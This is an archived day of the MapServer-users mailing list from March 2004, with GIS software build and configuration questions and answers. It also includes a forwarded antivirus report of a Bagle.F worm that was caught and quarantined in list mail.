Jean Talon 3D5
Ottawa, Canada
(613) 951-6461

------_=_NextPart_001_01C3FFAA.D924E29E-- From zak-ms@hoppsan.org Mon Mar 1 17:20:01 2004 From: zak-ms@hoppsan.org (Zak James) Date: Mon, 1 Mar 2004 12:20:01 -0500 Subject: [Mapserver-users] libgd was not built with FreeType font support In-Reply-To: <20040301145030.5213.qmail@hm47.locaweb.com.br> References: <20040301145030.5213.qmail@hm47.locaweb.com.br> Message-ID: You need to recompile php to use your system's gd library rather than it's own internal one (which is the default). Mapserver has picked up your system gd, which is why cgi mode works. In php's configure, you need to do --with-gd= Watch configure's output closely to make sure it's actually getting the correct gd - if there's a problem it grabs the one in it's own ext folder. zak -- Zak James Applications and Software Development DM Solutions Group Inc. http://www.dmsolutions.ca On Mar 1, 2004, at 9:50 AM, Eduardo Patto Kanegae wrote: > When trying to run $MapFile->draw() I'm getting: > "Warning: [MapServer Error]: msGetLabelSize(): libgd was not built > with FreeType font support in ..." > > The strange fact is that my CGI applications runs OK. > > --------------- > > I have MapServer CGI as > MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF > SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER > SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT > INPUT=EPPL7 INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE > > configured with : > $ ./configure --prefix=/usr/local --without-jpeg --without-tiff > --with-freetype --with-zlib --with-png --with-gd > --with-xpm=/usr/X11R6/lib > --with-pdf=/usr/local/mapserver-linux-distro/deps/PDFlib-5.0.2-Linux/ > bind/c --with-eppl --with-proj --with-threads --with-ogr --with-gdal > --without-ming --with-wfs --with-wfsclient --with-wms -with-wmsclient > --with-curl-config --with-curl --enable-ignore-missing-data > --disable-debug > --with-php=/usr/local/mapserver-linux-distro/deps/php-4.3.4 > > and PHPMapScript as > MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF > SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER > SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT > INPUT=EPPL7 INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE > > configured with: > $ ./configure --prefix=/usr/local --without-aolserver > --without-apache --enable-cli --disable-embed --without-nsapi > --without-pi3web --without-servlet --enable-cgi > --enable-force-cgi-redirect --enable-fastcgi --disable-debug > --with-config-file-path=/etc --enable-safe-mode --disable-sigchild > --enable-magic-quotes --enable-short-tags --disable-ipv6 > --without-openssl --with-zlib --without-bz2 --enable-calendar > --without-cpdflib --with-jpeg=/usr/local/bin > --with-tiff=/usr/local/lib --without-crack --with-curl=/usr/local/lib > --without-cyrus --without-db --enable-dba --without-gdbm > --without-ndbm --without-dba --without-db3 --without-db2 --without-dbm > --without-cdb --with-inifile --without-flatfile --enable-dbase > --enable-dbx --enable-dio --without-dom --enable-exif --without-fbsql > --without-fdftk --disable-filepro --without-fribidi--enable-ftp > --with-cg=/usr --with-jpeg-dir=/usr/local/bin --with-freetype=/usr/lib > --with-t1lib=/usr/include --with-gd --enable-gd-native-ttf --dis! > able-gd-jis-conv --with-gettext=/usr/lib --without-gmp > --without-hwapi --without-hyperwave --without-imap --without-kerberos > --without-imap-ssl --without-informix --without-ingress > --without-interbase --without-ircg --without-java --without-ldap > --enable-mbstring --disable-mregex --without-libmbfl --without-mcal > --without-mcrypt --without-mcve --with-mhash > --with-mime-magic--without-mnogosearch --without-msession > --without-msql --without-mssql --with-mysql --without-ncurses > --without-oci8 --without-adabas --without-sapdb --without-solid > --without-ibm-db2 --without-empress --without-birdstep > --without-custom-odbc --without-iodbc --without-esoob > --without-unixODBC --without-dbmaker --without-oracle > --disable-overload --without-ovrimos --disable-pcntl --with-pcre-regex > --without-pfpro --with-pgsql=/usr --disable-posix --without-pspell > --without-qtdom --without-libedit --without-readline --without-recode > --enable-session --with-mm --disable-shmop --without-snmp > --disable-ucd-! > snmp-hack --enable-sockets --with-regex=system --without-swf --without > > -sybase --without-sybase-ct --disable-sysvmsg --disable-sysvsem > --disable-sysvshm --disable-tokenizer --disable-wddx --enable-xml > --disable-xslt --without-sablot-js --without-yaz --disable-yp > --without-zip --with-pear > > thanks in advance. > > Eduardo Patto Kanegae > http://www.consultoria.eti.br > > ## Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ## > *************************************** > ***Fim da Mensagem / End of Message *** > *************************************** > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From jbutcher@ci.collierville.tn.us Mon Mar 1 17:55:43 2004 From: jbutcher@ci.collierville.tn.us (Jim Butcher) Date: Mon, 01 Mar 2004 11:55:43 -0600 Subject: [Mapserver-users] [Fwd: [virusalert@mail.ci.collierville.tn.us: VIRUS (Worm/Bagle.F) FROM ]] Message-ID: <1078163743.8293.9.camel@stargate> --=-SFt1hQMV6OmNQtq8S1ZA Content-Type: multipart/mixed; boundary="=-3g1RZTpV4/nCjDZBOK+l" --=-3g1RZTpV4/nCjDZBOK+l Content-Type: text/plain Content-Transfer-Encoding: quoted-printable To the list administrator, I don't know what the list administrator can do about this problem. An individual subscriber is unwittingly sending the worm Bagle.F through the list. The traceback information supplied by my SysAdmin is attached. --=20 James H. Butcher, G.G.(GIA) GIS Manager Town of Collierville Division of Planning 500 Poplar View Pkwy Collierville, TN 38017 P: 901-457-2360 F: 901-457-2354 email: jbutcher@ci.collierville.tn.us -----BEGIN GEEK CODE BLOCK----- Version: 3.12 GAT d+ s---:+ a+ C+++ UL++++ P+ L++ E--- W+++ N+ o+ K- w--- O M V PS-- PE++ Y+ PGP++ t++ 5++++ X++ R++ tv++ b++++ DI+++ D++ G e+++ h r y+ ------END GEEK CODE BLOCK------ --=-3g1RZTpV4/nCjDZBOK+l Content-Disposition: inline Content-Description: Forwarded message - [virusalert@mail.ci.collierville.tn.us: VIRUS (Worm/Bagle.F) FROM ] Content-Type: message/rfc822 Return-Path: X-Original-To: jbutcher@ci.collierville.tn.us Delivered-To: jbutcher@ci.collierville.tn.us Received: from localhost (localhost.localdomain [127.0.0.1]) by mail.ci.collierville.tn.us (Postfix) with ESMTP id B809328304 for ; Mon, 1 Mar 2004 10:40:37 -0600 (CST) Received: from mail.ci.collierville.tn.us ([127.0.0.1]) by localhost (mail [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 26363-09 for ; Mon, 1 Mar 2004 10:40:35 -0600 (CST) Received: from tuxbert.ci.collierville.tn.us (kevlar.ci.collierville.tn.us [168.215.127.126]) by mail.ci.collierville.tn.us (Postfix) with ESMTP id 10BA728059 for ; Mon, 1 Mar 2004 10:40:35 -0600 (CST) Received: by tuxbert.ci.collierville.tn.us (Postfix, from userid 1000) id 6A198448023; Mon, 1 Mar 2004 10:53:52 -0600 (CST) Date: Mon, 1 Mar 2004 10:53:52 -0600 From: Don Petrowski To: jbutcher@ci.collierville.tn.us Subject: [virusalert@mail.ci.collierville.tn.us: VIRUS (Worm/Bagle.F) FROM ] Message-ID: <20040301165352.GB14666@ci.collierville.tn.us> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="hHWLQfXTYDoKhP50" Content-Disposition: inline User-Agent: Mutt/1.5.6i X-Virus-Scanned: by amavisd-new at mail Status: --hHWLQfXTYDoKhP50 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable ----- Forwarded message from virusalert@mail.ci.collierville.tn.us ----- X-Original-To: donski@localhost Delivered-To: donski@localhost.ci.collierville.tn.us X-Original-To: virusalert@mail Delivered-To: compteam@ci.collierville.tn.us Date: Mon, 1 Mar 2004 10:22:30 -0600 (CST) =46rom: virusalert@mail.ci.collierville.tn.us Subject: VIRUS (Worm/Bagle.F) FROM To: virusalert@mail.ci.collierville.tn.us A virus (Worm/Bagle.F) was found. Scanner detecting a virus: H+BEDV AntiVir or CentralCommand Vexira Antivirus The mail originated from: According to the 'Received:' trace, the message originated at: khendricksb ([198.3.82.101]) =20 The message WAS NOT delivered to: : 550 5.7.1 Message content rejected, id=3D25394-05 - VIRUS: Worm/Bagle.F Virus scanner output: Vexira Antivirus / Linux Version 2.2.0-8 Copyright (C) 2002-2004 Central Command, Inc. and/or its suppliers. Portions copyright (C) 1996-2004 H+BEDV Datentechnik GmbH. All rights reserved. =20 Loading /usr/lib/Vexira/vexira.vdf ... =20 VDF version: 6.24.0.29 created 01 Mar 2004 =20 Vexira Antivirus license: 2003000000 for Town of Collierville =20 checking drive/path (list): /var/run/amavis/tmp/amavis-20040301T101754-2= 5394/parts ALERT: [Worm/Bagle.F worm] /var/run/amavis/tmp/amavis-20040301T101754-25= 394/parts/part-00002 <<< Contains signature of the worm Worm/Bagle.F =20 =20 ----- scan results ----- directories: 1 files: 2 alerts: 1 repaired: 0 deleted: 0 renamed: 0 scan time: 00:00:01 ------------------------ Thank you for using Vexira Antivirus! The message has been quarantined as: /var/virusmails ------------------------- BEGIN HEADERS ----------------------------- Return-Path: Received: from lists.gis.umn.edu (lists.gis.umn.edu [128.101.73.109]) by mail.ci.collierville.tn.us (Postfix) with ESMTP id 4AD6A28059 for ; Mon, 1 Mar 2004 10:22:21 -0600 (CST) Received: from lists.gis.umn.edu (localhost [127.0.0.1]) by lists.gis.umn.edu (8.12.10/8.12.10) with ESMTP id i21GMkAP017699; Mon, 1 Mar 2004 10:22:46 -0600 (CST) Received: from khendricksb ([198.3.82.101]) by lists.gis.umn.edu (8.12.10/8.12.10) with SMTP id i21GGqAQ017594 for ; Mon, 1 Mar 2004 10:16:57 -0600 (C= ST) To: mapserver-users@lists.gis.umn.edu =46rom: kames@keyspanenergy.com Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=3D"--------lldoemeixdgjjmjycago" Subject: [Mapserver-users] Tammy Sender: mapserver-users-admin@lists.gis.umn.edu Errors-To: mapserver-users-admin@lists.gis.umn.edu X-BeenThere: mapserver-users@lists.gis.umn.edu X-Mailman-Version: 2.0.13 Precedence: bulk List-Unsubscribe: , List-Id: Mapserver Users Mailing List (Appropriate for general users) List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon, 01 Mar 2004 10:33:19 -0600 -------------------------- END HEADERS ------------------------------ ----- End forwarded message ----- --=20 Don Petrowski Town of Collierville Network Administrator 500 Poplar View Pkwy Collierville, TN 38017 Phone: (901) 457-2260 Fax: (901) 457-2246 --BEGIN GEEK CODE BLOCK -- Version: 3.12 GIT/IT d- s:++>+ a>? C+$ LS++$ P+>+++ L+++$>++++$ E? W+=20 N++ o? K? w! O? M- V? PS PE Y+(++) PGP++ t+>++ 5+@+++=20 X+@+++ R* tv+ b>++ DI++++ D+ G e++>++++ h r+++ y++++=20 -- END GEEK CODE BLOCK -- --hHWLQfXTYDoKhP50 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAQ2qgcCMgncA57gARAo91AKCEIaFmAUt+m69cK62COM846rybpwCdF2tC a2mdF6iSkT/CnXImpcABuvw= =UT+U -----END PGP SIGNATURE----- --hHWLQfXTYDoKhP50-- --=-3g1RZTpV4/nCjDZBOK+l-- --=-SFt1hQMV6OmNQtq8S1ZA Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQBAQ3kfmYYXQhPwN5ARAn16AJ9X3vsRp4tYzzeMtnNPuB0/NdKywACfeWLE GUA2wcSdozndOpeByiqlt/M= =+VMG -----END PGP SIGNATURE----- --=-SFt1hQMV6OmNQtq8S1ZA-- From LEllenbecker@co.winnebago.wi.us Mon Mar 1 17:48:14 2004 From: LEllenbecker@co.winnebago.wi.us (Ellenbecker, Larry) Date: Mon, 1 Mar 2004 11:48:14 -0600 Subject: [Mapserver-users] Problem with dbox DHTML displaying layers Message-ID: <34D572D6CF9A2944AF3889CCF910C25607D3B5@wcms1.co.winnebago.wi.us> Hi! I'm having a problem displaying my shapefile layers when trying to us the dbox DHTML interface. I can get the demo to work but cannot get my shapefiles to work unless I reproject the files. Here is what I have found. My shapefiles are in Wisconsin Stateplane NAD83 Southern Zone 4803 (feet). I can get the demo to work with my date if I change the projection to UTM or Nad83 (meters). The map extent for one of my NAD83 (feet) shapefiles would typically be: NAD83 (feet) EXTENT 2198000 675000 2450000 840000 In UTM the extent would be: EXTENT 348550 4860950 387890 4900550 I had come to the conclusion that the JavaScript code that converts the pixel offset to real coordinates for zoom was not able to calculate when the min-x is greater the the min-y. I don't know if this is a cbe issue or if there is some other explanation. I thought about using Proj.4 reprojection but I could only find parameters for State Plane NAD 83 (meters). I don't want to reproject all my shapefiles so for the moment I'm stuck. I would really like to use dbox so any insights into this problem would be greatly appreciated. Regards, Larry L. Ellenbecker Winnebago County WI From siki@agt.bme.hu Mon Mar 1 20:07:29 2004 From: siki@agt.bme.hu (Siki Zoltan) Date: Mon, 1 Mar 2004 19:07:29 -0100 (GMT+1) Subject: [Mapserver-users] Help with example error {Scanned} In-Reply-To: <20040301143007.24427.qmail@web14006.mail.yahoo.com> Message-ID: Hello, Did you check the fonts.list file? Are those fonts intalled on your machine? For example arial-bold font is referenced in the map file, there must be a line in the fonts.list file starting with this alias name, and there must be a real font file in the same line. Probably you havn't that font (ttf). You can change the fonts.list. Cheers Zoltan On Mon, 1 Mar 2004, [iso-8859-1] TOH CZ wrote: > When I try to run the tutorials that uses fonts with a > Win32 pre-compiled binary, it always return the follow > errors > > msGetLabelSize(): TrueType Font error. Could not > find/open font > > MAP > NAME EX2.1_ > IMAGETYPE png > EXTENT 201621.496941 -294488.285333 > 1425518.020722 498254.511514 # LAEA > #EXTENT -97.5 41.619778 -82.122902 49.38562 > # Geographic > SIZE 400 300 > SHAPEPATH "data" > SYMBOLSET "symbols/symbols35.sym" > FONTSET "C:/Program Files/Apache > Group/Apache2/htdocs/tutorial/fonts/fonts.list" > > WEB > TEMPLATE 'example2-1.html' > IMAGEPATH '/C:/Program Files/Apache > Group/Apache2/htdocs/tmp/' > IMAGEURL 'C:/Program Files/Apache > Group/Apache2/htdocs/tmp/' > END > > PROJECTION > # This is Lambert Azimuthal Equal-Area projection > for the > # Continental U.S. > # "proj=laea" > # "ellps=clrk66" > # "lat_0=45" > # "lon_0=-100" > # > # Alternatively, you can specify an EPSG code. > # This is the EPSG code for > # Lambert Azimuthal Equal-Area projection for the > U.S. > "init=epsg:2163" > # > END > > # Start of LAYER DEFINITIONS > --------------------------------------------- > LAYER # States polygon layer begins here > NAME states > DATA states_ugl > STATUS OFF > TYPE POLYGON > > PROJECTION > "init=epsg:4326" > END > > CLASSITEM "CLASS" > CLASS > EXPRESSION 'land' > SYMBOL 0 > COLOR 232 232 232 > END > END # States polygon layer ends here > > LAYER # MODIS raster layer begins here > NAME modis > DATA > "raster/mod09a12003161_ugl_ll_idxa.tif" > STATUS DEFAULT > TYPE RASTER > OFFSITE 70 74 66 > > PROJECTION > "init=epsg:4326" > END > END # MODIS raster layer ends here > > LAYER # LandSat WMS map from JPL (or from USGS) > NAME LandSat > TYPE RASTER > OFFSITE 0 0 0 > STATUS OFF > CONNECTIONTYPE WMS > CONNECTION > "http://wms.jpl.nasa.gov/wms.cgi?REQUEST=map&LAYERS=us_landsat7&STYLES=&FORMAT=png&TRANSPARENT=true" > #CONNECTION > "http://gisdata.usgs.net/servlet/com.esri.wms.Esrimap?ServiceName=USGS_WMS_LANDSAT7&VERSION=1.0.0&REQUEST=map&Layers=LANDSAT7&SRS=EPSG:4326&REASPECT=false&Format=png&" > > METADATA > "wms_title" "LandSat" > "wms_name" "us_landsat7" > "wms_server_version" "1.0.0" > "wms_srs" "epsg:4326" > "wms_format" "image/png" > #"wms_title" "US_Landsat7" > # "wms_srs" "epsg:4326" > # "wms_connectiontimeout" "1000" > END > > PROJECTION > "init=epsg:4326" > END > END # LandSat WMS image ends here > > LAYER # Hydrography layer begins here > NAME hydro > TYPE POLYGON > STATUS DEFAULT > DATA hydrop_ugl > > PROJECTION > "init=epsg:4326" > END > > TOLERANCE 3 > CLASSITEM 'FEATURE' > CLASS > NAME 'Lakes' > EXPRESSION /(^B|^C|^L|^R)./ > COLOR 72 64 254 > END # CLASS > CLASS > NAME 'Rivers' > EXPRESSION 'Stream' > COLOR 136 128 255 > END # CLASS > CLASS > NAME 'Wetlands' > EXPRESSION 'Swamp or Marsh' > COLOR 195 252 255 > OUTLINECOLOR 195 252 255 > SYMBOL 'circle' > SIZE 0 > END # CLASS > END # LAYER > > LAYER # ROADS LAYER > NAME cty_roads > GROUP roads > TYPE LINE > STATUS DEFAULT > DATA roads_ugl > MAXSCALE 750000 > > PROJECTION > "init=epsg:4326" > END > > HEADER 'templates/roads_header.html' > FOOTER 'templates/roads_footer.html' > TOLERANCE 5 > CLASSITEM 'CLASS1' > CLASS > NAME 'Minor Arterial Roads' > EXPRESSION '3' > COLOR 165 165 165 > END # CLASS > CLASS > EXPRESSION '4' > COLOR 210 210 210 > END # CLASS > END # ROADS LAYER > > LAYER # state highways begin here > NAME state_hwy > GROUP roads > MAXSCALE 1500000 > STATUS DEFAULT > DATA roads_ugl > TYPE LINE > FILTERITEM 'CLASS1' > FILTER '2' > > CLASS > NAME 'Principal Arterial Roads' > STYLE > COLOR 255 0 0 > SIZE 1 > SYMBOL 'circle' > END > END > > PROJECTION > "init=epsg:4326" > END > END # highways > > LAYER # interstate highways begin here > NAME interstate > GROUP roads > # MAXSCALE 22500000 > STATUS DEFAULT > DATA roads_ugl > TYPE LINE > FILTERITEM 'CLASS1' > FILTER '1' > > CLASS > NAME "Interstate Hwy." > STYLE > COLOR 128 0 0 > # SIZE 2 > # SYMBOL 'circle' > END > END > > PROJECTION > "init=epsg:4326" > END > END # highways > > LAYER # States line layer begins here > NAME states > DATA states_ugl > STATUS DEFAULT > TYPE LINE > > PROJECTION > "init=epsg:4326" > END > > CLASSITEM "CLASS" > CLASS > EXPRESSION 'land' > SYMBOL 'line5' > COLOR 64 64 64 > SIZE 1 > END > END # States line layer ends here > > LAYER > NAME roads_anno > GROUP roads > MAXSCALE 750000 > STATUS DEFAULT > DATA roads_ugl > TYPE ANNOTATION > LABELITEM "SIGN" > CLASSITEM "CLASS1" > CLASS > EXPRESSION "3" > STYLE > COLOR 0 0 0 # dummy color > SYMBOL 'symbols/sthwy.png' > END > LABEL > MINFEATURESIZE 50 > MINDISTANCE 150 > POSITION CC > SIZE TINY > COLOR 0 0 0 > END > END > CLASS > EXPRESSION "2" > STYLE > COLOR 0 0 0 # dummy color > SYMBOL 'symbols/ushwy.png' > END > LABEL > MINFEATURESIZE 50 > MINDISTANCE 150 > POSITION CC > SIZE TINY > COLOR 0 0 0 > END > END > > PROJECTION > "init=epsg:4326" > END > END # highway annotation > > LAYER > NAME roads_anno1 > GROUP roads > STATUS DEFAULT > DATA roads_ugl > TYPE ANNOTATION > LABELITEM "SIGN" > CLASSITEM "CLASS1" > CLASS > EXPRESSION "1" > STYLE > COLOR 0 0 0 # dummy color > SYMBOL 'symbols/interstate.png' > END > LABEL > MINFEATURESIZE 20 > MINDISTANCE 150 > POSITION CC > SIZE TINY > COLOR 255 255 255 > END > END > > PROJECTION > "init=epsg:4326" > END > END > > LAYER # States label layer begins here > NAME states > DATA states_ugl > STATUS DEFAULT > TYPE ANNOTATION > > PROJECTION > "init=epsg:4326" > END > > CLASSITEM "CLASS" > LABELITEM "STATE" > CLASS > EXPRESSION 'land' > COLOR -1 -1 -1 > LABEL > COLOR 132 31 31 > SHADOWCOLOR 218 218 218 > SHADOWSIZE 2 2 > TYPE TRUETYPE > FONT arial-bold SIZE 12 > ANTIALIAS TRUE > POSITION CL > PARTIALS FALSE > MINDISTANCE 300 > BUFFER 0 > END # end of label > END # end of class > END # States label layer ends here > # End of LAYER DEFINITIONS > ------------------------------- > > END # end of map file > > When I remove the TYPE,FONT and SIZE attribute the map > is able to load perfectly but with it it returns the > error > The front file contains everything it needs to load > Can someone help please? > > > > > > ___________________________________________________________ > Yahoo! Messenger - Communicate instantly..."Ping" > your friends today! Download Messenger Now > http://uk.messenger.yahoo.com/download/index.html > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From mh@svaj.dk Mon Mar 1 18:11:14 2004 From: mh@svaj.dk (mh@svaj.dk) Date: Mon, 1 Mar 2004 19:11:14 +0100 Subject: [Mapserver-users] Out of office autoreply Message-ID: <8ccvw3d2lgpkq34.010320041911@mail.inet.dk> Jeg er på ferie indtil d. 22 marts. Mine kollegaer kan træffes på tlf. 98129300. I am on leave until Marts 22. If you have any matter of urgency please do not hesitate to call my collegues on +45 98129300 From josemariamichia@yahoo.com.ar Mon Mar 1 18:17:19 2004 From: josemariamichia@yahoo.com.ar (=?iso-8859-1?q?Jose=20Maria=20Michia?=) Date: Mon, 1 Mar 2004 15:17:19 -0300 (ART) Subject: [Mapserver-users] Mapscript Java Interface - Compiling error Message-ID: <20040301181719.41214.qmail@web60504.mail.yahoo.com> --0-2090609932-1078165039=:40890 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Hi! I have obtained this error with a simple java class (only System.loadLibrary("mapscript");): java.lang.UnsatisfiedLinkError: /usr/lib/libmapscript.so: /usr/lib/libmapscript.so: undefined symbol: msSetOutputFormatOption I have folllowed the wiki (http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?ObtainingAndInstallingTheSoftware) only for the patches. The gd and swig libraries that I have installed are the correct versions. --------------------------------- ¿Buscás un auto? Encontralo en Yahoo! Autos ¡Más de 4000 clasificados todos los días! Usados - 0 km - Vendé el tuyo --0-2090609932-1078165039=:40890 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: 8bit
Hi! I have obtained this error with a simple java class (only System.loadLibrary("mapscript");):
 
java.lang.UnsatisfiedLinkError: /usr/lib/libmapscript.so: /usr/lib/libmapscript.so: undefined symbol: msSetOutputFormatOption
 
I have folllowed the wiki (http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?ObtainingAndInstallingTheSoftware) only for the patches. The gd and swig libraries that I have installed are the correct versions.
 
 


¿Buscás un auto?
Encontralo en Yahoo! Autos
¡Más de 4000 clasificados todos los días!
Usados - 0 km - Vendé el tuyo --0-2090609932-1078165039=:40890-- From sgillies@frii.com Mon Mar 1 18:45:58 2004 From: sgillies@frii.com (Sean Gillies) Date: Mon, 1 Mar 2004 11:45:58 -0700 Subject: [Mapserver-users] Python mapscript users - how do you feel about the module API? Message-ID: Howdy, I've been working on bringing mapscript development documentation up to date so that we have a doc equivalent to the PHP mapscript readme file. During this work I am *constantly* reminded that the names of the mapscript classes are awkward. Well, actually, when I am in a postive state of mind, the names are awkward. When I'm feeling a bit negative, the class names are ****** up. :) IMO, we should have classes named Map, Layer, Class, Image, Layer, Legend, ... these are consistent with established Python style conventions. 'Class' is probably the only awkward name in that list. Instead we have mapObj, LayerObj, ... after a while writing or saying "... mapObj object ..." you start to feel like there's an echo in here ... here. Additionally, having class names that start with lower case fosters confusion between classes and instances. Ruby mapscript has a nice feel to it because SWIGRUBY forces class names to be capitalized. They have MapObj, LayerObj, ... better but still with the obviously redundant *Obj suffix. What do you think about the API? Do you feel strongly one way or the other about class names? cheers, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From fx.gamoy@mapxplore.com Mon Mar 1 22:07:51 2004 From: fx.gamoy@mapxplore.com (FX Gamoy) Date: Mon, 1 Mar 2004 23:07:51 +0100 Subject: [Mapserver-users] problem using symbol circle on polygon feature on linux debian server Message-ID: <000e01c3ffd9$a3eefb00$0102a8c0@polo> This is a multi-part message in MIME format. ------=_NextPart_000_000B_01C3FFE2.052DDF50 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable hello everybody i am using a self compiled release of mapserver3.6.3 with php/mapscript = and GD2.0.12, gdal1.1.7 on a debian woody plateform I can't enable any symbol on polygon feature. internal server error -> = premature end of script i ve tried several things.=20 Eveything works fine with outlinecolor (circle,pixmap) but nothing with = color parameter.=20 I can only use symbol O with color parameter... LAYER=20 NAME "th_zone_ac"=20 STATUS ON=20 CONNECTIONTYPE OGR=20 CONNECTION "data/myfile/th_zone_activite.TAB"=20 TYPE POLYGON=20 SIZEUNITS PIXELS=20 TOLERANCE 3=20 TOLERANCEUNITS PIXELS=20 MINSCALE 0=20 MAXSCALE 100000=20 CLASS=20 NAME "zone_ac"=20 TITLE "Zones_ac"=20 SYMBOL "circle"=20 COLOR 192 192 192=20 OUTLINECOLOR 192 192 192=20 SIZE 2=20 MINSIZE 1=20 MAXSIZE 100=20 END=20 END=20 the same thing works fine on window platform=20 Any suggestions thanks fx http://www.mapxplore.com/ ------=_NextPart_000_000B_01C3FFE2.052DDF50 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 
hello everybody
i am using a self compiled release of=20 mapserver3.6.3 with php/mapscript and GD2.0.12, gdal1.1.7 on a = debian woody=20 plateform
 
I can't enable  any symbol on polygon feature. internal server error -> = premature end=20 of script
i ve tried several things. =
Eveything works fine with outlinecolor=20 (circle,pixmap) but nothing with color parameter.
I can only use symbol O with color=20 parameter...
 
LAYER=20
          NAME = "th_zone_ac"=20
         STATUS ON=20
          = CONNECTIONTYPE OGR=20
         CONNECTION=20 "data/myfile/th_zone_activite.TAB"=20
          TYPE POLYGON=20
          SIZEUNITS=20 PIXELS 
         TOL= ERANCE=20 3
          = TOLERANCEUNITS=20 PIXELS
          = MINSCALE 0=20
          MAXSCALE=20 100000 
         &nb= sp;        CLASS=20
            = NAME=20 "zone_ac" =
           =20 TITLE "Zones_ac"=20
           SYMBOL = "circle"=20
            = COLOR 192=20 192 192 =
           =20 OUTLINECOLOR 192 192 192=20
            = SIZE 2=20
            = MINSIZE 1=20
            = MAXSIZE=20 100 
     END
  END =
 
the same thing works fine on window = platform=20
Any suggestions
thanks
fx
http://www.mapxplore.com/
 
------=_NextPart_000_000B_01C3FFE2.052DDF50-- From steve.lime@dnr.state.mn.us Mon Mar 1 23:43:13 2004 From: steve.lime@dnr.state.mn.us (Steve Lime) Date: Mon, 01 Mar 2004 17:43:13 -0600 Subject: [Mapserver-users] Problem with dbox DHTML displaying layers Message-ID: Are you using the mapserv.js code as well or just dbox.js? There's nothing (that I'm aware of) in the javascript that would care about the issue you mention. Mapserv.js does assume you're using meters but that can be overridden. There is a global javascript variable called InchesPerMapUnit that you need to set correctly if not using meters. For feet you'd set it to 12. If you're setting minscale/maxscale with mapserv.js then this may be the problem. Let me know if not. Steve >>> "Ellenbecker, Larry" 3/1/2004 11:48:14 AM >>> Hi! I'm having a problem displaying my shapefile layers when trying to us the dbox DHTML interface. I can get the demo to work but cannot get my shapefiles to work unless I reproject the files. Here is what I have found. My shapefiles are in Wisconsin Stateplane NAD83 Southern Zone 4803 (feet). I can get the demo to work with my date if I change the projection to UTM or Nad83 (meters). The map extent for one of my NAD83 (feet) shapefiles would typically be: NAD83 (feet) EXTENT 2198000 675000 2450000 840000 In UTM the extent would be: EXTENT 348550 4860950 387890 4900550 I had come to the conclusion that the JavaScript code that converts the pixel offset to real coordinates for zoom was not able to calculate when the min-x is greater the the min-y. I don't know if this is a cbe issue or if there is some other explanation. I thought about using Proj.4 reprojection but I could only find parameters for State Plane NAD 83 (meters). I don't want to reproject all my shapefiles so for the moment I'm stuck. I would really like to use dbox so any insights into this problem would be greatly appreciated. Regards, Larry L. Ellenbecker Winnebago County WI _______________________________________________ Mapserver-users mailing list Mapserver-users@lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From steve.lime@dnr.state.mn.us Mon Mar 1 23:47:35 2004 From: steve.lime@dnr.state.mn.us (Steve Lime) Date: Mon, 01 Mar 2004 17:47:35 -0600 Subject: [Mapserver-users] Mouse Over Message-ID: The searchmap stuff is inherently CGI. Since with MapScript you're essentially writing your own custom CGI you'd have to code it yourself. It's not hard, you just compute the extent of next image BEFORE doing the query. I thought templates can be accessed via MapScript but I may be wrong. If not, then they should be. Steve >>> "Charlton Purvis" 2/28/2004 2:04:40 PM >>> Hi, Steve: Is this ASCII querymap output available only via cgi? I know that PHP is the DM shop, but I was wondering if the magic you're working w/ the nquery/searchmap cgi calls is something inherently PHP. Thanks, Charlton _______________________________________________ Mapserver-users mailing list Mapserver-users@lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From cz_toh@yahoo.com Mon Mar 1 23:56:09 2004 From: cz_toh@yahoo.com (=?iso-8859-1?q?TOH=20CZ?=) Date: Mon, 1 Mar 2004 23:56:09 +0000 (GMT) Subject: [Mapserver-users] Help with example error In-Reply-To: Message-ID: <20040301235609.75306.qmail@web14007.mail.yahoo.com> I have done this to the fonts.list file andale-mono C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\andalemo.ttf arial C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\arial.ttf arial-bold C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\arialbd.ttf arial-italic C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\ariali.ttf arial-bold-italic C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\arialbi.ttf arial_black C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\ariblk.ttf arial_narrow C:\Program Files\Apache Group\Apache2\htdocs\tutorial\fonts\arialn.ttf 